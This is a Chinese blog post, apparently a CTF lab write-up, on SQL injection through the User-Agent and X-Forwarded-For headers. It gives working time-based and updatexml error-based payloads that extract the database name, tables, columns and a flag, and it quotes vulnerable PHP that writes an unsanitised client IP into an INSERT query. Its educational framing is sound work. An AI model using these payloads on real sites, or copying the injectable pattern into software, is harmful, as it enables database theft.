HEAD注入-(掌控安全)

文章介绍了SQL注入的原理,特别是通过User-Agent和X-Forwarded-For头部信息进行盲注攻击的实例。在靶场环境中,利用BurpSuite工具,通过延时注入和updatexml函数的错误报废能够揭示数据库信息,如库名、表名和字段内容,进而获取敏感数据。此外,文章也提醒了对HTTP头部信息的安全控制重要性。
摘要由CSDN通过智能技术生成

目录

一.原理

二.相关知识点

二.实例分析


一.原理

        在我们传参时,后端为了验证或者获取客户端的一些信息,将这些信息存入到数据库但没有进行相关的处理,所以存在了注入。

二.相关知识点

  • $_ SERVER  【包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组】
  • User-Agent其实就是你的浏览器信息。是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。
  • 没有回显的是盲注,可以尝试用updatexml()函数进行报错显示。
  • updatexml(目标xml内容,xml文档路径,更新的内容)    让路径报错显示出来,这样在“路径”位置上可以构造sql语句查询想要的信息(报错注入法)。
  • 例如updatexml(1,concat(0x7e,(select database()),0x7e),1),concat就是拼接符,0x7e是特殊字符~,不符合输入规则所以会报错,但报错的时候已经执行了子查询代码。
  • X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址.

二.实例分析

切记:该操作都是在靶场中进行的,未经授权不可随意用真实网站进行相关操作

  • 题型一

题目如下

除了本关考点告诉我们是head注入,还可以从源码的全局变量猜测出是head注入

首先可以用burpsuite进行爆破得到账号密码是admin/123456。

其次从上图②处的sql语句中单引号闭合的$uagent结合①处可以得出,注入点是USER_AGENT。分析之后就可以打开burpsuite开始抓包,如下图,发送至repeater。

'or sleep(5),1) 

发现存在延时注入,从而进一步确认USER_AGENT是注入点。

'or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#

利用updatexml函数报错,显示出库名是head_error

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1)#

接着查询表名,发现有个表名是flag_head(代码最后的,1是从图二的②处有两个单引号括起来的变量,所以后面需再跟一个,1)

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1),0x7e),1),1)#

然后查询字段名,发现有flag_h1

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1),1)#

查询flag_h1里的内容 

得到flag 结束~ 

  • 题型二

题目的核心代码如下

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

最上面的几个函数是获取ip的函数,然后通过'$ip'去确认注入点,但是抓包发现没有X-Forwarded-For请求头。

 所以在数据包中添加X-Forwarded-For请求头,并且按照题型一的解题步骤依次进行即可得出flag

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值